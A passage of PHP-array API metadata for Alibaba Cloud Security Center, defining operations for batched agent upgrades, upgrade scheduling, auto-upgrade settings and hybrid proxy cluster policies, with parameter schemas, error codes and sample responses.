'DescribeIdcAssetCriteria', 'DescribeImageListByBuildRisk', 'DescribeImageBuildRiskList', 'DescribeImageBuildRiskByKey', 'DescribeCanTrySas', 'DescribeNeedAsyncQuery', 'ListPrivateK8s', 'ModifyAttestor', 'DescribeCheckWarningCount', 'GetAccountLabel', 'ListAssetInfoPublish', 'GetCurrentVersionPublish', 'BatchCreateMaliciousNote', 'DescribeInstanceVulStatistics', 'SetImageBuildRiskStatus', 'SubmitTenantCheck', 'GetTenantCheckAvailable', 'ListOperationProcessDetail', 'ListOperationProcess', 'DescribeCanAccessVpcSale', 'DescribeDomainSecureSuggests', 'DescribeIdcProbeList', 'DescribeImageRiskLevelStatistic', 'DescribeImageSecurityScanCount', 'GetDockerhubImageRiskRankInfo', 'ListDockerhubImage', 'ListUserVpc', 'CreateBatchUploadUrl', 'GetFunctionTrialStatus', 'ListTargetByBatch', 'GetConsoleFuncGrayStatus', 'GetInstanceAlarmStatistics', 'AddProtectVpcList', 'GrantSwitchAgreement', 'ListAgentlessAsset', 'ModifyServerlessAuthToMachine', 'ModifyBinarySecurityPolicy', 'GetInstallCodeForUuid', 'UpdateAttackPathWhitelist', 'DeleteAttackPathWhitelist', 'DeleteAttackPathSensitiveAssetConfig', 'ListSupportAttackPathAsset', 'GetAttackPathWhitelist', 'ListAttackPathWhitelist', 'CreateAttackPathWhitelist', 'CreateAttackPathSensitiveAssetConfig', 'UpdateAttackPathSensitiveAssetConfig', 'GetAttackPathSensitiveAssetConfig', 'ListAvailableAttackPath', 'GetAttackPathEventDetail', 'ListAttackPathEvent', 'GetAttackPathEventStatistics', 'InstallAegisForLingjun', 'ListAegisForLingjunStatus', 'DescribeAIAssetSummary', 'DescribePluginSummary', 'DescribeCustomizedDict', 'ListUniBackupRecord', 'HandleSimilarMaliciousFiles', 'GenerateClusterScannerWebhookYaml', 'DescribeClusterScannerList', 'GetClusterScannerYaml', 'GetAgentlessTaskUsedSizeEstimate', 'ListCloudAssetMatchOperators', 'ListCloudAssetSchemas', 'UpdateMultiUserInstances', 'GetInstanceAuthRange', 'ListMultiUserInstances', 'DescribeCloudVendorProductTemplateConfig', ], ], ], 'components' => [ 'schemas' => [ 'QueryIncidentTracingSubNodesCountRequest' => [ 'title' => 'queryIncidentTracingSubNodesCountRequest', 'description' => 'The request parameters of the subnode query.'."\n", 'visibility' => 'public', 'type' => 'object', 'properties' => [ 'VertexIdAndTypeList' => [ 'title' => 'vertexIdAndTypeList', 'description' => 'The key-value pairs that consist of node IDs and node types. A key-value pair is an array.'."\n", 'visibility' => 'public', 'type' => 'array', 'items' => [ 'description' => 'A two-dimensional array. The first element is a node ID, and the second element is a node type.'."\n", 'visibility' => 'public', 'type' => 'array', 'items' => [ 'description' => 'The node ID or node type.'."\n", 'visibility' => 'public', 'type' => 'string', 'example' => '["vertex1", "vertexType1"]', 'extendType' => 'true', ], 'extendType' => 'true', ], 'backendName' => 'vertexIdAndTypeList', ], ], ], ], ], 'apis' => [ 'ListPublishBatch' => [ 'summary' => 'Query the details of a release batch for upgrade.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'UpgradeVersion', 'in' => 'query', 'schema' => [ 'description' => 'The destination version of the Security Center agent.'."\n", 'example' => '0.0.9', 'required' => true, 'type' => 'string', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'required' => true, 'type' => 'integer', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'example' => '20', 'format' => 'int32', 'required' => true, 'type' => 'integer', ], ], [ 'name' => 'BatchName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the release batch.'."\n", 'example' => 'test', 'required' => false, 'type' => 'string', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', 'type' => 'string', ], 'PageInfo' => [ 'description' => 'The page information.'."\n", 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'example' => '1', 'format' => 'int32', 'type' => 'integer', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'example' => '20', 'format' => 'int32', 'type' => 'integer', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'example' => '25', 'format' => 'int32', 'type' => 'integer', ], ], 'type' => 'object', ], 'BatchList' => [ 'description' => 'The information about the release batches.'."\n", 'items' => [ 'description' => 'The information about the release batch.'."\n", 'properties' => [ 'Version' => [ 'description' => 'The destination version of the Security Center agent.'."\n", 'example' => '0.0.9', 'type' => 'string', ], 'BatchName' => [ 'description' => 'The name of the release batch.'."\n", 'example' => 'test', 'type' => 'string', ], 'BatchId' => [ 'description' => 'The ID of the release batch.'."\n", 'example' => '1371', 'format' => 'int64', 'type' => 'integer', ], 'BatchNo' => [ 'description' => 'The current batch number during a batch release.'."\n", 'example' => '2147483647', 'format' => 'int32', 'type' => 'integer', ], 'BatchTotal' => [ 'description' => 'The total number of batches.'."\n", 'example' => '3', 'format' => 'int32', 'type' => 'integer', ], 'BatchInterval' => [ 'description' => 'The interval between two release batches. Unit: hours.'."\n", 'example' => '12', 'format' => 'int32', 'type' => 'integer', ], 'BatchProcess' => [ 'description' => 'The progress of the release batch. This parameter indicates the number of servers that are upgraded in the release batch.'."\n", 'example' => '12', 'format' => 'int32', 'type' => 'integer', ], 'Status' => [ 'description' => 'The publish status of the Security Center agent. Valid values:'."\n" ."\n" .'* **0**: not started.'."\n" .'* **1**: publishing.'."\n" .'* **2**: published.'."\n" .'* **3**: publish suspended.'."\n" .'* **4**: forcibly upgrading.'."\n", 'example' => '1', 'format' => 'int32', 'type' => 'integer', ], 'OperationBase' => [ 'description' => 'The asset selection dimension. Valid values:'."\n" ."\n" .'* **0**: instance.'."\n" .'* **1**: machine group.'."\n" .'* **2**: Virtual Private Cloud (VPC) ID.'."\n", 'example' => '0', 'format' => 'int32', 'type' => 'integer', ], ], 'type' => 'object', ], 'type' => 'array', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25\\n },\\n \\"BatchList\\": [\\n {\\n \\"Version\\": \\"0.0.9\\",\\n \\"BatchName\\": \\"发布批次1\\",\\n \\"BatchId\\": 1371,\\n \\"BatchNo\\": 2147483647,\\n \\"BatchTotal\\": 3,\\n \\"BatchInterval\\": 12,\\n \\"BatchProcess\\": 12,\\n \\"Status\\": 1,\\n \\"OperationBase\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListPublishBatch', ], 'AddPublishBatch' => [ 'summary' => 'Upgrades the Security Center agent in batches.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '142155', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'UpgradeVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version to which you want to upgrade the agent.'."\n", 'example' => '0.0.9', 'required' => true, 'type' => 'string', ], ], [ 'name' => 'BatchName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the release batch.'."\n", 'example' => 'test', 'required' => true, 'type' => 'string', ], ], [ 'name' => 'Interval', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The interval between two release batches.'."\n", 'example' => '60', 'format' => 'int32', 'required' => true, 'type' => 'integer', ], ], [ 'name' => 'OperationBase', 'in' => 'query', 'schema' => [ 'description' => 'The dimension based on which the asset is selected. Valid values:'."\n" ."\n" .'* **0**: selects the asset by instance.'."\n" .'* **1**: selects the asset by machine group.'."\n" .'* **2**: selects the asset by the ID of the instance that is deployed in the virtual private cloud (VPC).'."\n", 'example' => '0', 'format' => 'int32', 'required' => false, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', 'type' => 'string', ], 'BatchId' => [ 'description' => 'The ID of the release batch.'."\n", 'example' => '1', 'format' => 'int64', 'type' => 'integer', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"BatchId\\": 1\\n}","type":"json"}]', 'title' => 'AddPublishBatch', ], 'UpdatePublishBatch' => [ 'summary' => 'Updates a release batch.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '144974', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BatchId', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The ID of the release batch.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '52370', ], ], [ 'name' => 'OperationBase', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The asset selection dimension. Valid values:'."\n" ."\n" .'* **0**: instance'."\n" .'* **1**: machine group'."\n" .'* **2**: VPC-based instance ID'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'BatchName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the release batch.'."\n", 'type' => 'string', 'required' => false, 'example' => 'xxx', ], ], [ 'name' => 'Interval', 'in' => 'query', 'schema' => [ 'description' => 'The interval between two release batches.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '60', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB******', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB******\\"\\n}","type":"json"}]', 'title' => 'UpdatePublishBatch', ], 'GetPublishCron' => [ 'summary' => 'Get Publish Time Configuration', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], 'Data' => [ 'description' => 'Publish scheduling configuration information.', 'type' => 'object', 'properties' => [ 'Cron' => [ 'description' => 'Cron expression for the start time of the upgrade.', 'type' => 'string', 'example' => '0 0 7 * * ?', ], 'Duration' => [ 'description' => 'Duration of the upgrade in hours.', 'type' => 'integer', 'format' => 'int32', 'example' => '24', ], 'CronType' => [ 'description' => 'Upgrade start cycle type. The values are as follows:'."\n" .'- **day**: Daily'."\n" .'- **week**: Weekly', 'type' => 'string', 'example' => 'day', ], 'CronDay' => [ 'description' => 'The day of the week for the upgrade. The values are as follows:'."\n" .'- **MON**: Monday'."\n" .'- **TUE**: Tuesday'."\n" .'- **WED**: Wednesday'."\n" .'- **THU**: Thursday'."\n" .'- **FRI**: Friday'."\n" .'- **SAT**: Saturday'."\n" .'- **SUN**: Sunday', 'type' => 'string', 'example' => 'MON', ], 'CronTime' => [ 'description' => 'Timestamp for the start of the publish, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1724522400000', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"Data\\": {\\n \\"Cron\\": \\"0 0 7 * * ?\\",\\n \\"Duration\\": 24,\\n \\"CronType\\": \\"day\\",\\n \\"CronDay\\": \\"MON\\",\\n \\"CronTime\\": 1724522400000\\n }\\n}","type":"json"}]', 'title' => 'Get Client Upgrade Time Configuration', 'translator' => 'machine', ], 'UpdatePublishGraySwitch' => [ 'summary' => 'Modifies the settings of the canary release feature for agent upgrade. If you want to use the feature, contact technical support.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '142151', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'GraySwitchStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the canary release feature. Valid values:'."\n" ."\n" .'* **1**: enabled.'."\n" .'* **0**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '231A8A81-CBB4-5AB3-A624-98A501******', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"231A8A81-CBB4-5AB3-A624-98A501******\\"\\n}","type":"json"}]', 'title' => 'UpdatePublishGraySwitch', ], 'UpdatePublishCron' => [ 'summary' => 'Modifies the configuration of the client upgrade time. If you want to call this operation, contact technical support.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '142161', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Cron', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The cron expression that is used to specify the start time of the upgrade.'."\n", 'type' => 'string', 'required' => true, 'example' => '0 5 10 * * ?', ], ], [ 'name' => 'Duration', 'in' => 'query', 'schema' => [ 'description' => 'The duration of the upgrade. Unit: hours.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '24', ], ], [ 'name' => 'CronType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the upgrade cycle. Valid values:'."\n" ."\n" .'* **day**: every day'."\n" .'* **week**: every week'."\n", 'type' => 'string', 'required' => false, 'example' => 'day', ], ], [ 'name' => 'CronDay', 'in' => 'query', 'schema' => [ 'description' => 'The day of a week on which you want to perform the upgrade. Valid values:'."\n" ."\n" .'* **MON**'."\n" .'* **TUE**'."\n" .'* **WED**'."\n" .'* **THU**'."\n" .'* **FRI**'."\n" .'* **SAT**'."\n" .'* **SUN**'."\n", 'type' => 'string', 'required' => false, 'example' => 'SUN', ], ], [ 'name' => 'CronTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1657407600000', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1052B989-305B-50A5-B5F5-998450******', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1052B989-305B-50A5-B5F5-998450******\\"\\n}","type":"json"}]', 'title' => 'UpdatePublishCron', ], 'UpgradeVersionByUuids' => [ 'summary' => 'Manually upgrades the client version on assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '142152', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the assets on which you want to run the detection task.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset on which you want to run the detection task.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of assets.'."\n", 'type' => 'string', 'required' => true, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'required' => true, 'maxItems' => 10000, ], ], [ 'name' => 'UpgradeVersion', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The version to which you want to upgrade the client.'."\n", 'type' => 'string', 'required' => true, 'example' => '0.0.9', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'UpgradeVersionByUuids', ], 'UpdatePublishAutoUpgrade' => [ 'summary' => 'Enables or disables automatic upgrade.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '150874', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AutoUpgrade', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable automatic upgrade. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\"\\n}","type":"json"}]', 'title' => 'UpdatePublishAutoUpgrade', ], 'UpdateHybridProxy' => [ 'summary' => 'Updates the Security Center agent that is installed on a proxy server in a hybrid cloud.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '164118', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ProxyUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the Security Center agent.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-proxy-14bbbb37-c4b9-4e86-83bd-137a940a6ec4', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C0DD0616-0DA0-5450-B89E-F30D49E63D6B', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => '%s data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0DD0616-0DA0-5450-B89E-F30D49E63D6B\\"\\n}","type":"json"}]', 'title' => 'UpdateHybridProxy', ], 'ModifyHybridProxyCluster' => [ 'summary' => 'Modify proxy cluster.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '151384', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas-test-cnnf', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8B4B6E6D-B0B0-5F05-A14E-82917D9648EE', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => '%s data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8B4B6E6D-B0B0-5F05-A14E-82917D9648EE\\"\\n}","type":"json"}]', 'title' => 'ModifyHybridProxyCluster', ], 'ModifyHybridProxyPolicy' => [ 'summary' => 'Modify proxy policy.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '151388', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas-proxy', ], ], [ 'name' => 'PolicyInfo', 'in' => 'query', 'schema' => [ 'description' => 'The policy of the proxy cluster.', 'type' => 'string', 'required' => true, 'example' => '['."\n" .' {'."\n" .' "policyType": "limitFrequency",'."\n" .' "info":'."\n" .' ['."\n" .' {'."\n" .' "type": "file",'."\n" .' "config": "10"'."\n" .' }'."\n" .' ]'."\n" .' },'."\n" .' {'."\n" .' "policyType": "limitBandWidth",'."\n" .' "info":'."\n" .' ['."\n" .' {'."\n" .' "type": "net"'."\n" .' },'."\n" .' {'."\n" .' "type": "process"'."\n" .' }'."\n" .' ]'."\n" .' }'."\n" .']', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'Messgae' => [ 'description' => 'The message of the request.', 'type' => 'string', 'example' => 'clusterName data not exist', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"Messgae\\": \\"clusterName data not exist\\"\\n}","type":"json"}]', 'title' => 'ModifyHybridProxyPolicy', ], 'UnBindHybridProxy' => [ 'summary' => 'Removes servers from a proxy cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '169980', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'proxy-test', ], ], [ 'name' => 'YundunUuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers that you want to remove from the proxy cluster.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server that you want to remove from the proxy cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', ], 'required' => true, 'maxItems' => 10000, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\"\\n}","type":"json"}]', 'title' => 'UnBindHybridProxy', ], 'DescribeHybridProxyPolicy' => [ 'summary' => 'Queries the data collection configurations of a proxy cluster.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster. You can query the name of the proxy cluster in the Security Center console.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test-idc', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'PolicyList' => [ 'description' => 'The data collection configurations of the proxy cluster.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'PolicyType' => [ 'description' => 'The type of the policy. Valid values:'."\n" ."\n" .'* **limitFrequency**'."\n" .'* **limitBandWidth**'."\n", 'type' => 'string', 'example' => 'limitBandWidth', ], 'Info' => [ 'description' => 'The information about the policy.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the policy that you configured. Valid values:'."\n" ."\n" .'* **file**'."\n" .'* **net**'."\n" .'* **process**'."\n", 'type' => 'string', 'example' => 'file', ], 'Config' => [ 'description' => 'The value of the policy configurations.'."\n", 'type' => 'string', 'example' => '10', ], 'FileName' => [ 'description' => 'The name of the file. After you configure a blocking policy, the blocked data is written to the file.'."\n", 'type' => 'string', 'example' => 'test', ], ], 'description' => '', ], ], ], 'description' => '', ], ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 